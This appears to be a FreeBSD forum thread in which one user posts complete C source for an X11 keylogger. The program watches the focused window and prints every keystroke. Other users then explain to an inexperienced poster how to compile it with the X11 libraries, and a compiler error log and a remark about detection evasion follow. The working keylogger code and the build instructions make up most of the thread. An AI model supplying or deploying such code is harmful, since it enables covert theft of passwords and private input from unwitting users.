#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
static Display *dpy;
static Window focuswin = None;
static void attach_to_focuswin(void) {
int foo = 0;
XGetInputFocus(dpy, &focuswin, &foo);
if (focuswin != None)
XSelectInput(dpy, focuswin, KeyPressMask | FocusChangeMask);
else
sleep(1);
}
static void handle_event(void) {
XEvent ev;
char buf[100];
int len;
XNextEvent(dpy, &ev);
if(ev.xany.type == FocusOut)
focuswin = None;
else if (ev.xany.type == KeyPress) {
len = XLookupString(&ev.xkey, buf, 99, 0, 0);
buf[len] = 0;
printf("%s", buf);
fflush(stdout);
}
}
int main(void) {
dpy = XOpenDisplay(getenv("DISPLAY"));
if (dpy == NULL) {
fprintf(stderr, "cannot change display\n");
exit(1);
}
while (1) {
if (focuswin == None)
attach_to_focuswin();
else
handle_event();
}
}
lme@ said:This is a simple keylogger example:
Code:#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <X11/Xlib.h> #include <X11/Intrinsic.h> static Display *dpy; static Window focuswin = None; static void attach_to_focuswin(void) { int foo = 0; XGetInputFocus(dpy, &focuswin, &foo); if (focuswin != None) XSelectInput(dpy, focuswin, KeyPressMask | FocusChangeMask); else sleep(1); } static void handle_event(void) { XEvent ev; char buf[100]; int len; XNextEvent(dpy, &ev); if(ev.xany.type == FocusOut) focuswin = None; else if (ev.xany.type == KeyPress) { len = XLookupString(&ev.xkey, buf, 99, 0, 0); buf[len] = 0; printf("%s", buf); fflush(stdout); } } int main(void) { dpy = XOpenDisplay(getenv("DISPLAY")); if (dpy == NULL) { fprintf(stderr, "cannot change display\n"); exit(1); } while (1) { if (focuswin == None) attach_to_focuswin(); else handle_event(); } }
If I'm not mistaken it's C source code for an Xorg keylogger :emfaridi said:can you describe what can do this script ?
mfaridi said:my experience about programming and shell script is so low , can you describe what can do this script ?
lme@ said:You need to compile this with a C compiler and start it. Then it logs everything you type in X.
If you're asking this then this code is not for you.mfaridi said:but How I can compile with C compiler and after that use it ?
SirDice said:If you're asking this then this code is not for you.
Beware that lme@ gave you an example of a keylogger on FreeBSD. You asked if it was possible and it certainly is.
z662 said:To compile it, just runCode:gcc [insert name of program here]
Obviously you should omit the brackets e.g.Code:gcc keyLogger.c
ky.c:4:22: error: X11/Xlib.h: No such file or directory
ky.c:5:27: error: X11/Intrinsic.h: No such file or directory
ky.c:8: error: expected '=', ',', ';', 'asm' or '__attribute__' before '*' token
ky.c:9: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'focuswin'
ky.c: In function 'attach_to_focuswin':
ky.c:14: error: 'dpy' undeclared (first use in this function)
ky.c:14: error: (Each undeclared identifier is reported only once
ky.c:14: error: for each function it appears in.)
ky.c:14: error: 'focuswin' undeclared (first use in this function)
ky.c:16: error: 'None' undeclared (first use in this function)
ky.c:17: error: 'KeyPressMask' undeclared (first use in this function)
ky.c:17: error: 'FocusChangeMask' undeclared (first use in this function)
ky.c: In function 'handle_event':
ky.c:23: error: 'XEvent' undeclared (first use in this function)
ky.c:23: error: expected ';' before 'ev'
ky.c:27: error: 'dpy' undeclared (first use in this function)
ky.c:27: error: 'ev' undeclared (first use in this function)
ky.c:28: error: 'FocusOut' undeclared (first use in this function)
ky.c:29: error: 'focuswin' undeclared (first use in this function)
ky.c:29: error: 'None' undeclared (first use in this function)
ky.c:30: error: 'KeyPress' undeclared (first use in this function)
ky.c: In function 'main':
ky.c:39: error: 'dpy' undeclared (first use in this function)
ky.c:45: error: 'focuswin' undeclared (first use in this function)
ky.c:45: error: 'None' undeclared (first use in this function)
expl said:cc -o keylogger -I/usr/local/include -L/usr/local/lib -lX11 source.c
SirDice said:If I'm not mistaken it's C source code for an Xorg keylogger :e
Why are you worried about keyloggers? If an attacker is able to install one you have way more serious problems to worry about.
expl said:If it is Myjad keylogger automated tools have low chance of detecting them.